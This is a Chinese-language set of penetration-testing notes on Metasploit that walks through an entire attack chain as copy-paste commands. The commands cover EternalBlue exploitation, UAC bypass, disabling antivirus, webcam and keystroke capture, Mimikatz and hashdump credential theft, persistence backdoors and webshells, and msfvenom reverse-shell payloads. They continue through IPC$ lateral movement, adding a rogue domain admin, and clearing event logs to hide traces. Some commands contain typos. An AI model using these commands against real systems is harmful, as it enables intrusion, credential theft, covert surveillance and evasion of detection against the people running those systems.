MSF
最牛X的地方是:支持整个渗透测试过程
理论方面
技术架构
1.辅助模块(auxiliary)
包含了扫描、嗅探、指纹识别、网络欺骗等相关功能模块
2.渗透攻击模块(exploits)
利用程序,针对漏洞、权限进行利用,是主要使用的模块
3.攻击载荷模块(payload)
用于在目标系统中运行任意命令或者执行特定代码,主要用于shell获取
4.空指令模块(nops)
5.编码器模块(encoders)
6.后渗透攻击模块(post)
7.免杀模块(evasion)
接口
MSF有四种接口对外提供:msfconsole
, msfcli
, msfgui
, msfweb
开发版是没有生成报告的功能的(商业版才有),但是开发版的脚本更多,每个版本各有利弊
-
情报搜集阶段
有数据库
-
威胁建模阶段
-
漏洞分析阶段
-
后渗透攻击模块
-
报告生成模块
使用MSF
准备使用
启动MSF
msfconsole
可以配置数据库等
更新MSF
1
2
|
apt-get update
apt-get install metasploit-framework
|
软件安装目录
1
2
|
/usr/share/metasploit-framework
# 数据目录(其中一些字典和脚本我们用的时候可以拿)
|
模块
一个模块就是一个rb脚本
情报搜集
首先search 搜索有哪些可用的模块
1.网站敏感目录扫描:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
/usr/share/metasploit-framework/modules/auxiliary/scanner 里面自己看都有啥
## 使用 brute_dirs, dir_listing, dir_Scanner等辅助模块来进行敏感目录扫描
# 他们主要使用暴力猜解的方式工作,需要提供目录字典
# 使用模块
use auxiliary/scanner/http/dir_scanner
# 查看详细信息
info
# 查看需要设置的参数
show options
# 设置参数(取消设置参数是 unset)
set RHOTS 192.168.0.101
set PATH /cms/
# 攻击
exploit
# 返回上一级退出当前模块
back
# 两个可选命令
setg, unsetg # 用于在msfconsole中设置或取消设置全局性的参数,从而避免重复输入相同的值
|
使用常用的辅助模块进行服务扫描(search scanner
)
2.主机发现
1
2
|
## 用于主机发现的辅助模块,位于 modules/auxiliary/scanner/discovery
use /auxiliary/scanner/discovery/arp_sweep
|
还是nmap速度快, 可以直接在msf中使用nmap
3.端口扫描
search portscan
1
2
3
4
5
6
7
8
9
|
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/syn # 推荐这个(速度快,准确,不易被发现)
auxiliary/scanner/portscan/xmas
auxiliary/scanner/portscan/ftpbounce
auxiliary/scanner/portscan/tcp
use ......
show options
set xxx
|
4.探测服务详细信息
5.服务查点
用户服务扫描和查点的工具,通常以[server_name]_version
命名
1
2
3
|
use auxiliary/scanner/ssh/ssh_version
# 口令爆破
use auxiliary/scanner/ssh/ssh_login
|
1
|
use auxiliary/scanner/mssql/mssql_version
|
永恒之蓝实践
1
2
3
4
5
6
7
8
9
10
|
# 先扫描是否存在
use auxiliary/scanner/smb/ms17_010_eternalblue
...
# 载利用攻击模块
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOST ...
...
exploit
|
漏洞利用
收集完信息后,选择正确的exploit,payload
这里假设是Samba
info exploit/multi/samba/usermap_sript
, 可以查看到利用成功率Rank
越高,成功率越大
use exploit/multi/samba/usermap_sript
show options
set PAYLOAD cmd/unix/reverse
… …
Bypass UAC
1
2
3
|
use exploit/windows/local/bypassuac
set session 1
run
|
Meterpreter(属于后渗透攻击)
Metasploit框架中的一个扩展模块
作为溢出成功以后的
攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接
https://www.cnblogs.com/backlion/p/9484949.html
1
2
3
4
5
6
7
8
9
|
Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。
# 优势
- 纯内存工作模式,不需要对内存进行写入操作
- 使用加密通信协议,且可以同时与几个信道通信
- 在被攻击进程内工作,不需要创建新的进程
- 易于在多进程之间迁移
- 平台通用
|
进程迁移
刚获取Meterpreter shell的时候,是脆弱的(用户随时可能关闭),所以第一时间是移动shell,把它和一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作(更不易被发现)
1
2
3
4
5
6
7
8
|
ps # 获取目标正在运行的进程
getpid # 查看Meterpreter shell的进程号
mirate 448 # 把shell移动到PID为448的进程里(因为这里这个稳定,看情况来吧)
getpid # 发现shell的进程迁移OK(原来的进程会自动关闭,如果没关闭就手动关掉:kill xxx_pid)
# 自动迁移进程指令(系统会自动寻找合适的进程然后迁移)
run post/windows/manage/migrate
|
常用命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
########## 系统命令(收集系统信息)
systeminfo # 查看系统信息
run post/windows/gather/checkv # 检查是否为虚拟机
idletime # 目标机器最近运行时间
ifconfig/ipconfig # 查看网卡信息
route # 查看路由信息,设置路由(做跳板用)
background # 把会话放到后台,这个会话继续保持
sessions # 查看会话列表
sessions -i 2 # 进入切回会话2
getuid # 获取当前用户id权限
run post/windows/manage/killav # 关闭杀毒(其他命令自己探索)
run post/windows/manage/enable_rdp # 开启目标机器的远程桌面
run post/windows/manage/autoroute # 查看目标机的本地子网情况
# 接着进行跳转
background # 把当前终端隐藏在后台
route add 192.168.0.111 255.255.255.0 1 # 给指定会话id添加路由(可以添加其他地址到被攻陷的机器的路由表上,借助被攻陷的机器来攻击其他网络)
route print # 查看路由添加结果
# 接着查看
run post/windows/gather/enum_logged_on_users # 列举当前有多少用户登录了主机
run post/windows/gather/enum_logged_on_users # 继续列举安装在目标机器上的应用
run post/windows/gather/credentials/windows_autologin # 很多用户习惯将计算机设置自动登录(抓取自动登录的密码),如果看不到任何信息,就需要拓展插件Expia
load espia # 先加载该插件
screengrab # 就可以抓取此时目标机器的屏幕截图
screenshot # 也是截屏
webcam snap # 打开目标机器摄像头,拍摄一张照片
webcam_stream # 开始摄像头(直播模式),在浏览器输入给出的url发那个问即可
shutdown # 关机
shell # 进入目标系统的shell下面
exit # 停止meterpreter会话(也可以停止shell并返回到meterpreter)
quit # 关闭当前的Meterpreter会话,返回MSF终端
########## 文件系统命令
pwd / getwd # 查看目标机器当前目录
getlwd # 查看本机当前目录
cd # 切换目录(注意\的转义)
ls # 查看当前目录内容
search -f *.txt -d c: # 搜索文件(search -h 查看帮助) -d指定目录, -f搜索模式
upload /var/www/test.txt c:\ # 上传文件到目标机器的路径
download c:\test.txt # 下载文件(默认保存到msf的目录)
cat # 查看文件内容
edit # 编辑文件
execute -f c:\\windows\\system32\\calc.exe # 执行文件
run keylogrecorder .... # 键盘记录?
|
后渗透攻击:提权
1
2
3
4
5
6
|
# 获取Meterpreter Shell之后,查看我们是什么权限
# Meterpreter 下输入
shell # 进入目标的cmd
whoami /groups # 查看当前权限
## 下面就开始进行提权了
# 用本地溢出漏洞,利用现成的exploit
|
1.利用WMIC实战MS16-032本地溢出漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
# WMIC是win一个命令行工具(交互模式/非交互模式),不仅可管理本机还可管理域内所有远程主机(前提是有权限),而被管理者不需要安装WMIC
# WMIC在信息搜集和后渗透十分有用,可以调查目标机的进程,服务,用户,用户组,网络连接,硬盘信息,时区,操作系统信息等
# 假设拿到了Meterpreter shell
getuid
getsystem # 尝试提权,但是失败
# 接着查看系统打了的补丁(传统方法:在目标cmd输入systeminfo,或查询C:\windows\补丁号.log)
# 这里利用WMIC命令列出安装的补丁
WMIC qfe get Caption,Description,HotFixID,IntalledOn
# 找到打的补丁后,去找exp(然后将系统安装的补丁编号与提权exp编号比对,然后使用没有编号的exp进行提权)
## 漏洞信息网站: 安全焦点, Expolit-DB
# 接下来准备提权(把Meterpreter放到后台:background), 然后搜索ms16-032
search ms16-032 # 如果找不到,可以试试升级:msfupdate 或者手动添加相应漏洞EXP
use exploit/windows/local/ms16_032_secondary_logon_handle_privsec
set session 1
run
# 会返回一个新的session,进入,执行getuid 反省是system权限了
|
2.令牌窃取
令牌(Token)就是系统的临时密钥
, 相当与账户密码,特点是随机性和不可预测
在假冒令牌攻击中需要使用Kerberos
协议(一种网络认证协议,其设计目的是通过密钥系统为客户机/服务器应用程序提供强大的认证服务)
Kerberos工作机制:
xxx待补充
假冒令牌实战利用
1
2
3
4
5
6
7
8
9
10
|
# 假设已经拿到了Meterpreter shell
getuid
getsystem # 提权失败
use incognito
list token -u # 列出可用的token(会看到结果,根据Meterpreter shell的权限而定)
# 假设从输出信息中看到了目标机器的..., 继续在incognito中执行
impersonate_token WIN7-TEST\\Administrator # 调用incognito中的这个impersonate_token 命令,来假冒Admin进行攻击(注意是两个反斜杠)
shell
whoami # 查看权限
|
Hash攻击
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
###### 1.是使用Hashdump抓取密码
hashdump # 导出主机的sam数据库的hash
# 另一个更强大的模块
run winsows/gather/smart_hashdump # 若是win7,且开启了uac,就要使用绕过uac的模块再继续
##### 2.使用Quarks PwDump抓取密码
win32下的一款工具,导出信息十分全面,支持系统版本十分广泛
具体参数再查
QuarksPwDump.exe -dh1 -o 1.txt
# 还可配合在 Ntdsutil 工具到处DC的密码
ps: win的密码会加密存放在/windows/system32/config/sam
##### 3.使用Windows Credentials Editor抓取密码
WCE(Windows Credentials Editor) 功能强大,不过必须是管理员权限,还要主要免杀
# 先上传wce到目标
upload wce.exe
# 在目标的shell下执行
wce -w # 便会成功提取明文管理员密码(默认是-l命令读取,-f强制安全方式读取,-g用来计算密码,-c制定会话来执行cmd,-v显示详细信息,-w最关键 --> 查看已登录的明文密码)
##### 4.使用Mimikatz抓取密码
msf内置了Mimikatz成为一个peterpreter脚本集成
load Mimikatz
help Mimikatz
# mimikatz_command # 可以让我们使用Mimikatz全部功能, 如(:: 请求某个模块可用的选项)
mimikatz_command -f hash::
mcv # 抓取系统hash值
kerberos # 抓取系统票据
wdigest # 获取系统账户信息
mimikatz_command -f samdump::hash # 抓取hash
## mimikatz 除了抓取hash,还有其他功能:比如 Handle模块,list\kill进程,模拟用户令牌等
mimikatz_command -f handle::
mimikatz_command -f service:: # servvice模块可以对win的服务进行...
mimikatz_command -f crypto:: # crypto可以列出 导出任何证书,以及存储在目标机器上的相应的私钥
# mimikatz 也支持PowerShell调用
脚本P228
能在PowerShell中执行mimikatz,偷窃和注入凭证,伪造Kerbero票证创建,还有其他很多功能
|
后渗透攻击:移植漏洞利用代码模块
支持不同语言编写的模块移植进去,允许开发者开发自己的漏洞利用模块
MS17-010 –> 微软SMB远程代码执行漏洞
演示:移植MS17-010漏洞利用代码
1
2
3
4
5
6
7
8
|
# MS17-010 在msf中虽然有集成脚本,但是不适用于03系统,从网上自行下载
# clone脚本到本地,把rb脚本复制到/usr/share/metasploit-framework/modules/exploits/windows/smb下
raload all # 然后在msf中重新加载脚本
之后就能search到了,用use加载它
# 开始
msfovenom 生成一个DLL文件(在下面set payload)
然后设置该模块的参数
run
|
后渗透攻击:后门
提取完成之后,就需要留后门了
1.操作系统后门
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
##### 1.Cymothoa后门
可以将ShellCode注入到现有进程的后门工具
该后门能与被注入进程共存,且如果不检查内存是发现不了的
该后门注入系统的某一进程,返回的是该进程相应的权限(并不需要root), 但是关闭进程或重启,后门就会停止运行
ps -aux # 查看程序的pid, Win下是 tasklist
# -p指定目标进程的PID,-y指定payload服务端口,-s指定ShellCode编号(cymothoa -S 查看)
cymothoa -p 862 -s 1 -y 5555
# 连接后门
nc -nvv 192.168.0.112 5555
##### 2.Persistence后门
使用安装自启动方式的持续型后门,可以用它创建注册表和文件
run persistence -h # 查看命令选项
# 创建持久型后门
run persistence -A -S -U -i 60 -p 4321 -r 162.168.0.112
# -A自动启动payload,-S系统启动时自动加载,-U用户登录时自动启动, -X开机时自动加载,-i回连时间间隔,-P监听端口号, -r 目标机器地址
sessions # 发现会话已成功获取
|
2.Web后门(WebShell)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
# 中国菜刀,AntSword, Cknife, 冰蝎,Weevely(kali使用最多,但是只支持php),msf也有自带的后门
##### 1. Meterpreter 后门
msf中有一个叫 php meterpreter 的payload,里哟你他可以创建具有Meterpreter功能的php webshell
# 使用msfvenom创建一个webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=1234 -f raw > p.php
# 上传webshell到目标机器
# 本机运行 msf multi-handler 开始监听
use exploit/multi/handlers
set payload php/meterpreter/reverse_tcp
...
run
# 访问webshell页面
# 获得反弹的 Metasploit Shell
##### 2. Aspx Meterpreter 后门
msf下的 shell_reverse_tcp 的payload,可以创建多个版本的具有meterpreter功能的Shellcode
这里以aspx为例, 步骤和上面的那个大致相同
show payloads
use windows/shell_reverse_tcp
set ...
save
generate -h # 查看帮助
generate -t aspx # 生成aspx版本的ShellCode
# 保存内容到x.aspx,上传到服务器
# 本地设置监听
use exploit/multi/handlers
set payload windows/meterpreter/reverse_tcp
...
run
# 访问webshell页面
# 获得反弹的 Metasploit Shell
后续就可以进行提权等操作了
|
msf基础命令
1
2
3
4
5
6
7
8
9
10
|
search ms17 # 查找
use exploit/multi/handler # 使用
info # 查看信息
show expoits/payloads/options # 显示可用信息
exploit /run # 执行
back # 返回上一级
exploit -j # 后台运行
sessions # 查看当前可用会话
session -i 1 # 连接某个会话
sessions -K # 杀死所有活跃会话
|
Meterpreter命令:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
getuid # 查看用户名,从而查看当前会话具有的权限
sysinfo # 列出主机信息
getprivs # 尽可能多地获取目标主机上的特权
getystem # 通过各种攻击向量来提升到系统用户权限
hashdump # 导出目标主机中的口令哈希值
screenshot # 屏幕截图
background # 将当前的meterpreter shell转为后台执行
quit # 关闭当前meterpreter会话,回到msf终端
ps # 显示所有运行进程
migrate PID # 迁移到制定的进程PID
execute -f cmd.exe -i # 执行cmd.exe命令并进行交互
shell # 以所有可用令牌来进行一个交互的shell
|
msfvenom基础
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
# 参考:msf下的各种生成payload命令 http://www.cnblogs.com/backlion/p/6000544.html
### 二进制
# Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
# Windows 生成exe程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.105 lport=4444 -f exe -o /var/www/html/payload.exe
# Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
### Web Payloads
# PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
# ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
# JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
# WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
### Scripting Payloads
# Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
# Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
# Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
### Shellcode:
# Linux Based Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
# Windows Based Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
# Mac Based Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
### Handler
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z
|
反弹Shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
### 第一种(这个监听更综合一点): use exploit/multi/hander
# 1.msfvenom生成程序
# 2.使用handler执行exp
# 3.在目标机器运行msfvenom生成程序
# 4.返回session
### 第二种: use exploit/multi/script/web_delivery
# 1.使用web_delivery返回脚本执行并加载exp
# 2.在目标机器运行脚本
# 3.返回session
# Note: 这里要使用的payload与上面使用生成器生成的名字要一致
|
一些小思路
信息搜集
当拿下第一天内网主机的权限(提权不了时),就要以此服务器为跳板攻击其他服务器
先进行网络/用户组/DC等的收集
获取另外一台服务器权限
若权限不够导致不能直接攻击域服务器
- 使用meterpreter当前拥有的权限添加到内网路由,进行弱口令扫描
- 用Powershell对内网进行扫描
- 架设Socks4a, 然后socks会自动进行内网扫描
- 利用当前权限进行内网IPC$渗透
- 其他
通过分析,我们输入net view
, 发现列举的机器选择一个和我们机器名相似的服务器试,成功率一般很高net use \\WIN7_TEST2\c$
使用经典的IPC$入侵
(通过win默认启动的ipc共享来获得计算机控制权):
1
2
3
4
5
6
7
8
9
|
net use \192.168.0.112\ipc$ # 连接这个ip的ipc共享
copy srv.exe \192.168.0.112\ipc$ # 复制srv(免杀的payload)到目标
net time \192.168.0.112 # 查看时间
at \192.168.0.112 18:18 srv.exe # 用at命令在18点18分启动srv.exe (这里设置的时间要比主机时间快)
# 如果没有 at命令,试试新的计划任务命令: schtask
# 回到msf的handler进行监听,到时间会反弹shell
然后进入这个新的主机,查看包括权限在内的信息, 也可以mimikatz抓密码: run /post/windows/gather/mimikatz
也可以上传对应位数的mimikatz到该主机 upload /home/x64.exe c:\
shell # 进入到目标的shell,再执行
|
Powershell寻找域管在线服务器
使用PowerView
脚本的Invoke-User Hunter
上传到目标机器,然后执行Invoke-UserHunter
1
|
powershell.exe -exec bypass -Command "&{Import-Module .powerview.ps1;Invoke-UserHunter}"
|
找到域管理员当前在线登录的主机后,入侵该主机,然后把它迁移到域管理员登录所在的进程,这样就有了域管的理的权限
获取域管权限
渗透域控
1
2
3
4
5
6
7
8
9
10
11
|
# 先尝试
getsystem
getuid #查看当前用户,因为之前知道这账户的域管理员
ps # 找到域管理所在进程
migrate 30560 # 迁移进程过去(也可以用msf中窃取令牌的功能)
# 查看主域控的IP
shell # 先进去cmd
net time
# 使用IPC$入侵来返回一个域控的meterpreter shell(操作见上面的步骤)
net user test test123 /ad /domain # 添加域管理员
net group "domain admins" /domain #查看域管理员是否添加成功
|
登录域控
下面要登录域控,抓取hash
常见的登录域控的方法:
1
2
3
4
5
6
7
8
|
- 利用IPC上传AT&Achtasks远程执行命令
- 利用端口转发或Socks登录DC的3389
- 登录对方内网一台主机使用PsTools工具包中的PsExec来反弹shell
- 使用msf下的PsExec,psexec_psh, Impacket psexec, pth-winexe, Empire Invoke-Psexec等PsExec类工具反弹shell
- 使用msf下的smb_login反弹shell
- 使用WMI来进行攻击
- 使用PsRemoting posershel远程执行命令
- 其他
|
最常见的是msf下的PsEcex反弹meterpreter(1.msf下的PsEcex模块 2.cuestom模块,建议使用Veil之类的工具来生成免杀的payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
use /exploit/windows/smb/psexec
set smbuser test
set smbpass test123
set smbdomain HACKER
set rhost 192.168.0.111
run
# 获得反弹的meterpreter shell之后,先迁移进程,查看DC的系统系统和sesssion控制图
ps
migrate 2166
getuid
sysinfo
sessions # 查看我们获取的sessions
# 抓hash方法:
- msf自带的hashdump(有system权限才可以)或smart_dump模块导出用户的Hash
- 使用PowerShell的相应模块导出hash
- 使用WCE、Mimikatz等工具
- 其他
|
SMB爆破内网
有了DC的密码,接下来只需快速在内网扩大控制权限
- 利用当前获取的DC的账户密码,对整个域控的IP短进行扫描
- 使用SMB下的smb_login模块
- 端口转发或socks代理进内网
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
## 先在msf添加路由,然后使用smb_login模块Huo psexec_Scanner模块进行爆破
background
route add 192.168.0.115 255.255.255.0 2 # 目的是访问1192.168.0.115将通过meterpreter的会话 2 来访问:
search smb_login
use auxiliary/scanner/smb/smb_login
set ...
run
# 扫描内网
creds # 然后获得大量内网服务器的密码,下面就可以畅游内网了
# 可以使用Meterpreter的端口转发,也可以使用Metasploit下的Socks4a模块或第三方软件(这里使用简单的第一种)
portfwd add -l 5555 -p 3389 -r 127.0.0.1
background
|
清理日志
步骤
- 删除之前添加的域管理员的帐号
- 删除所有在渗透中使用的工具
- 删除应用程序、系统和安全日志
- 关闭所有的Meterpreter连接
1
2
3
4
|
net user test /dels
clearev # 删除日志
sessions
sessions -K # 关闭所有msf连接
|